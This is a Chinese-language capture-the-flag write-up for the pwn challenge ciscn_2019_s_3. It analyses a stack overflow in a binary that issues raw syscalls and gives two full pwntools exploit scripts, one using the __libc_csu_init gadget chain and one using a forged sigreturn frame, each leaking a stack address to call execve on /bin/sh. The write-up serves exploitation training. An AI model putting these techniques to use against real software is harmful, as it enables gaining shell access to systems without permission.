天天看點

【pwn】ciscn_2019_s_3

這題是全國大學生資訊安全競賽的一道線下半決賽題目,好像是華南賽區?

例行檢查。

【pwn】ciscn_2019_s_3

分析程式。

vul函數

【pwn】ciscn_2019_s_3

兩個系統調用,一個是sys_read,一個是sys_write,往棧上寫資料(0x400),從棧上讀資料(0x30),存在棧溢出。

還有一個gadget函數。

【pwn】ciscn_2019_s_3

有兩個值得注意的地方。mov rax,0fh 以及mov rax 59。這兩個gadget控制了rax的值,看看這兩個是什麼系統調用。

15 sys_rt_sigreturn

59 sys_execve

解法一

59号系統調用是execve那麼就可以想辦法控制寄存器的值調用execve("/bin/sh",0,0),注意在調用execve時,後面兩個參數需要置0,由于需要控制rdx的值,是以選擇使用通用gadget,__libc_csu_init。

【pwn】ciscn_2019_s_3

r13的值會給到rdx,讓rbx=0,下面call的時候會變為call [r12],會去call r12指向位置的代碼,我們可以調到後面的rop執行,是以需要知道棧的位址,我們擷取/bin/sh字元串時也需要知道棧位址。這題剛好在write的時候0x28這個位置是棧上的值,于是通過計算可以得到棧上/bin/sh的位址,即rsp-0x10的值。

from pwn import *

io=process('pwn')
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580 
sys=0x00400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2='/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()
           

解法2

15号系統調用sigreturn。這個系統調用是在終止信号恢複使用者态環境時用的。那麼我們在棧上僞造寄存器的值,那麼恢複時就可将寄存器控制為我們想要的值。

具體可參考:Framing Signals—A Return to Portable Shellcode

from pwn import *

io=process('pwn')
context.binary='./pwn'
context.terminal = ['gnome-terminal','-x','sh','-c']

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys

pl1='a'*16+p64(sigret)+p64(sys)+str(frame)

'''
def debug(addr):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)
debug('0x400514')
'''

pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)

io.interactive()    
           
PWN